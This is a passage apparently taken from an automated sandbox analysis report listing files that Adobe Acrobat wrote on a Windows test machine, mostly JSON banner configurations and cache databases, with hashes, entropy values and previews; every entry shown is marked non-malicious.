Preview:	p...... ..........q.%Q..(....................................................... ..........W.....w..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2478978672539016
Encrypted:	false
SSDEEP:	6:kKs59UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LDImsLNkPlE99SNxAhUe/3
MD5:	DB385922497F3EA35B4FDB292375C73F
SHA1:	984091F7F18D6B7A4B14F424A642EF406531FF10
SHA-256:	9A24200A35F69AACC8516E037D7508B8F40EFFFB08EA210E9A1624890023E853
SHA-512:	617D8670E8C4FE408B656AE2BBDBE28104BE8A9E2B324A05726C183B5461223FC5E5C043FAD0EDF3B13F6380BB319B6572ADDA6ED0E7798831525042DBD61BBE
Malicious:	false
Preview:	p...... ........j.G.%Q..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355644997149224
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJM3g98kUwPeUkwRe9:YvXKXCTNhyUito7FVGMbLUkee9
MD5:	2CAF53F264EE02DC75B98899510FA457
SHA1:	47AFB67B2FA4F152260A5753F9D8401039B7CA68
SHA-256:	9A1635302438C5E46ED9F59F53901BA3A9F48FC84D50D1D34B1C29A3C8283D32
SHA-512:	D5A0EA63E9855D699F3321E35C021A22AEDC1F87D7DEB869B45862F301528BB3D840EDFF4352E62854BEA703FB8EBE7B2599F23F4DC20D0B29BB12AEE9C43573
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301557451248535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfBoTfXpnrPeUkwRe9:YvXKXCTNhyUito7FVGWTfXcUkee9
MD5:	F7D7E2C0C5F5CA334EC5760BF8B094CD
SHA1:	CF9EFF63044E22C7CC1BBFC04F5BA0177D5F9805
SHA-256:	AB104DE08B144C37EF0080E9268C8AC074473CD6DCDCF25C3361B27547FA5180
SHA-512:	6BAA9A33BFFB793FC2010B064A542E1BDA65DD0A17BB45730D99A3F304DC1D9112D011D2EB0214E689A701AAAA479C4DD1900FC824F415B64C9715DE67DFD3C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279029700452163
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfBD2G6UpnrPeUkwRe9:YvXKXCTNhyUito7FVGR22cUkee9
MD5:	6F2D7086B1C5DEF5744103270A26AF0A
SHA1:	D25E8ABF77C654AC2170840282F4FCDE5798B61F
SHA-256:	3E0D03B8544807888A8D88E7F130135839B28D4ABDB64E090AA6AD87A7E2C8D3
SHA-512:	ED965C7450B2EDEF1BBDAF0BB7C5F2B848A5264B7C35449FE60D97B7C5E610FDAAF5F6BA0772C314D6E7A97F0BFB45863E81781C0FA5D94F2D9A02DCD84B2BA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.346052688137146
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfPmwrPeUkwRe9:YvXKXCTNhyUito7FVGH56Ukee9
MD5:	F6F55D03CA9BA7BB83D76E5369972857
SHA1:	B00127A3BFD507E7F3E90048F912FAA476516D66
SHA-256:	4330CED746C513A77C90C0A9D33B14B85FECBD71F167E09785EDC96D446A7150
SHA-512:	AE42DC44987163F811A8E2D80C611D29824D9291671E4C0FB12C2606DBEA44DDAF8621A64B7D215051670674A0E0DD2509C664F36FF83637314BC4B3624648A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687166190371632
Encrypted:	false
SSDEEP:	24:Yv6XCTNhC6Z6pLgE9cQx8LennAvzBvkn0RCmK8czOCCS/Y:YvDTNg6Z6hgy6SAFv5Ah8cv/Q
MD5:	D2C7A84D9EBBA8DC182965AFDDCA6E4A
SHA1:	6BD8F090B9E0E87CC0E8A383922BF2A0093F6BA7
SHA-256:	E4DF8B55204C748187F4930E0D83EE934A9755B38CA8D900E50590747F679708
SHA-512:	7EFB7E57073AD41974791638AEE5FE94F7E9FEFEF1F4BD25CC2614BE2C823B9EF709EAECE908F6D1B53E614CFEA4511B6CEABC87004F830F492DA20A42DFA0BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293943522228713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJf8dPeUkwRe9:YvXKXCTNhyUito7FVGU8Ukee9
MD5:	8B3862BDCF2384F0730F31929C969132
SHA1:	1301743A33D8BC3618195D95389759E5A671FF36
SHA-256:	041739B280D6D1B9D3CB63F283E8963A1BDB6A2305BC9EFA3254461146CB3907
SHA-512:	6C0D6C67D9412503E57DAC1762797A9E73E415673ACAB1D86749912B42E1666C3E1C7352A232154794844A9092AEF482DFFAA85C76E449FCD027AFA2FA8ECAE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2952699451287
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfQ1rPeUkwRe9:YvXKXCTNhyUito7FVGY16Ukee9
MD5:	B2018603F327E3E8C1775B47C2885F80
SHA1:	4BEB8373CCB36D15B0BE59981416C26B250CCDFE
SHA-256:	5835EE067935D138FFE1EFE1BA069E0AE4EB688A25B823EBE8F05C319B94C1A6
SHA-512:	4443E856C5EB6F56CD2639F056B819F78402F924B031F3CCB5E70F1A443CA21A53D286FA6042A496122297452CD2D631CB1291D2C065FC238790D5EF27D27B03
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305122708453934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfFldPeUkwRe9:YvXKXCTNhyUito7FVGz8Ukee9
MD5:	1361EE356AF73A0CE9A12AC1EA29EA1E
SHA1:	2251903C8EAD9ABD6F2381C304FDCFFD2FF71170
SHA-256:	3ADFA2EEC2B9693D74D424C2364CA2C64EE7EB1E69BA40D15153247DDBFB8FE8
SHA-512:	46A4ADE0A5189EA0C472BE907ED6EBC68A973BC885CF28E62CB7442C27CE63962D15D2896CF137A07769FD24238A65C67CC9D26A09EE59DAB1C287EAB4E019FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.320726907305275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfzdPeUkwRe9:YvXKXCTNhyUito7FVGb8Ukee9
MD5:	8A8943B3F618E3B9223316D46C6D0A62
SHA1:	8C107CCDA95746CEF7B65A5132165F3C0FB64C09
SHA-256:	865095AC63E1038FE790A82EA9BDF8D2BF7B0B832B6580C0E209B862075F1E95
SHA-512:	CF2A3C051C5B878E17FD3396F496376ED5D1A26CE1C75B764266ECE25AB2B4D9E5A552981DC1F3A765FEF0B87BADFCFED86B9AC0E0A4F86F0CDF99B5139CC6D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301398953602561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfYdPeUkwRe9:YvXKXCTNhyUito7FVGg8Ukee9
MD5:	17DF0D207CF64ABFE36DC170DD44672F
SHA1:	16E9E8F8DA6FEA2141A0062DD8695171DD89BA67
SHA-256:	D17D1A9442A7DAA3A77304CB93687AB5262544E9D3ABB1E28FC1CA60ECF09D93
SHA-512:	9F4F92612CBD6B1ACE85A024EF8E76082A30B86FD43AA499AC6366F81D5B64906F32F2A0CE26B55B16161FADF0224A31342B0ADF2195C0316B872A38B56D94DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.287473955890269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJf+dPeUkwRe9:YvXKXCTNhyUito7FVG28Ukee9
MD5:	86D14594B98EC27FE38C0E47F7F1E636
SHA1:	1DDCE591F0FEE5F6E79B60B320BF11CD1C89C828
SHA-256:	FB12B36BBACE720CFF4A036DF1F2CDC7C69B7CB0AF0C5323418954A8CB5013F5
SHA-512:	D96F52500F6CBF11C34C6CF670771E4BD6185FFE50E105C3F065F9906E0058C67630ABD3F403B5436D58FBF8D8C45DE7A7F6A8ECD5616D2AC61DAF053F4CF175
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.284936436475032
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfbPtdPeUkwRe9:YvXKXCTNhyUito7FVGDV8Ukee9
MD5:	6288C1449C6477F125D6526D68B73F7B
SHA1:	CF7552C98E3E9F002E57740E94065DCA413E4023
SHA-256:	A30D9C5C9793F3EE5C7757D47D1F693C17147E63BE0498A5C026CFABE5E32AAB
SHA-512:	7F49F04E329E6C10648FB3FCB3160D73F632B23F731680AD578FD7571470AC9E71233908A2EA5D452A3E668D73F4D7F6D3A2A2D180297FAD4D80D132CFE68438
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286629019365373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJf21rPeUkwRe9:YvXKXCTNhyUito7FVG+16Ukee9
MD5:	100A7AD506788907A0F89197729F8984
SHA1:	70C1C9A8523C4280705F91103DE230A692467E89
SHA-256:	1E77FEFCC155FA682A9B37884BC04392D1CD1F64FC69F42E8A91F2FFFE995778
SHA-512:	2DD8ED2D69284A0EE0DCFAB25BAEBC02B4C0C311B105BECFE4A9288D471EAF94F3868DFCAA54AE1A21160198CE3D64335C891B018CBC98D17DC15D30AE8F999C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662187764236712
Encrypted:	false
SSDEEP:	24:Yv6XCTNhC6ZmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS/Y:YvDTNg6ZoBgkDMUJUAh8cvMQ
MD5:	E68A159BAB7D629CEDC952DE159232E7
SHA1:	458EA2A75F2C48470DE622E5EF5B53E0E6B4400A
SHA-256:	0BFC93FC2550E55851424D6EDDAB443FE1EA0B16A42A225197B72B914A25FF09
SHA-512:	E0DA470D28466802792D4858349A7EFF3EC67FF1109D19DD6ACCA50B338C2EA00A283100AF6644DAD91C621F849E8CDB1CCFFFE9109E1706EA29F6C645CFC68F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.264258264218832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJfshHHrPeUkwRe9:YvXKXCTNhyUito7FVGUUUkee9
MD5:	A50B4EA51B74EAABCD8C920AC8B85584
SHA1:	98EA477285B686F9B598A82D4044937D996DEE66
SHA-256:	1CE17A95976FADD7E7ECE5BB71870E6218A88EC8947619161C2911096B38EB5A
SHA-512:	97A84C77230EBB1D3223944DBE054E0B19586C57609AB37B0F53EF50A6A1283BEC57F6E932B38247D4500B1C91FF736461FD9ECEC5C62CC6F9FDEDA3D9771700
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.26789110762975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXC4PtHhyUib5Glvp0YHRXeoAvJTqgFCrPeUkwRe9:YvXKXCTNhyUito7FVGTq16Ukee9
MD5:	45782267F9AB0AF5EED9C9329B5237C1
SHA1:	5C278C653082BFB1A5E8C5B679335BA893882FC6
SHA-256:	68D4BA1083876F0BF4DBB3E571C12FCC3956DA1FF0789B166A78B7638133470C
SHA-512:	04B53B4FD60CD3BE6C2B91550CA2429B13B0B11C3762EF5F6FF901AEFC94DC39FFF89935838ECF46B65DBB77E911C072A114664ECB67D5DB24A1BDF896AEC2AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"54e51dc4-af2b-4a93-9bc6-4ccb912404b6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1734689748150,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.122424810954759
Encrypted:	false
SSDEEP:	24:YvXOaG3ayRGupPRnwePRVkVxRM1j9Crsj0ST0+0D2m2LS9CovMdDMUVnBLI5cagr:YYb7QePR+o9e+chfzXMhMUbcVgTVh9x
MD5:	EF61A8524FCDCD29924CA121B850200B
SHA1:	5A2D4D76D5C79C7A016A7D674A2AE41EE7B0F3AA
SHA-256:	47EC416F3B41FDC741C631B6534D04C33A0D0F2A1A20989EE591387048CB0938
SHA-512:	CBA77622A0964A12301AD39AF2FF039BCAED3201E6F9180BEF080C923B74D8B45AD964D5DA6AEEDFDE35090FF340A5501202E4A68862634FCD86130979B75072
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1254b548a824a7d0ef4dc51438d7b7cc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734510123000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9098a7fa2c09d41cfb7c0beb4c50028e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734510123000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6c58fe9e8f0b10ec015fdd4b3bb86db2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734510123000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"16e9408ea8b833321bb6aa61de47b6b0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734510123000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"bd764a615c4134034c68fef1b3bbba5d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734510123000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9b2f75636879164b316137542b0ca5cf","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.458263883512571
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2m9wLviuFuI7Pmq:/VmsrhoGgt5Zgs2p7Oq
MD5:	3D71D0BF51E4F2023D9EE57B5F934E99
SHA1:	E7521EACD77C16CB49CD8706AD7211CCFF98330A
SHA-256:	98190C10B052A2C9653488C3079C287C17986E00294E9A3358ADD4FD89D303BC
SHA-512:	66443266E903D69B6C702E673030EE75927A18E6A4A9D60B27FC2C4F3124A992832C7FC02FFA88D6B845D01597277B0A58D392BB87B37A1D408AFE48B54DF7D8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9603960034385615
Encrypted:	false
SSDEEP:	48:7M6hoGgpP5ZgrI2m9fLviuFuI7PehHuqVl2GL7msf:73hoGgt5Zgsjp72hOaVmsf
MD5:	289477A8D3A90E688B75C6623AC5EF45
SHA1:	5117341997BA940414654A6B64332786B655F9BB
SHA-256:	AB6C0FA06431D20DFE3D8947BA1412698D839E5EFF5B3BB17AB4CD9236694B40
SHA-512:	DA1B9D531FD46F89AB4C06D9F4FC98087B1B58F331475881FB03CA208C967FD2C93D630C173A7D5BA26D6E4373D36158E03C2D4932DA40F7BCA1DF299D6EB212
Malicious:	false
Preview:	.... .c.......2C..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3kfvkg/A4c80rXZ6mU+eJp8PXYy75Yyu:6a6TZ44ADEUfx44HCJ6p+eJ+zK
MD5:	0E4BDB4F7D3652F5E106912756DF08AA
SHA1:	8537624477E677C51CB83D22F31841C38A5E83C2
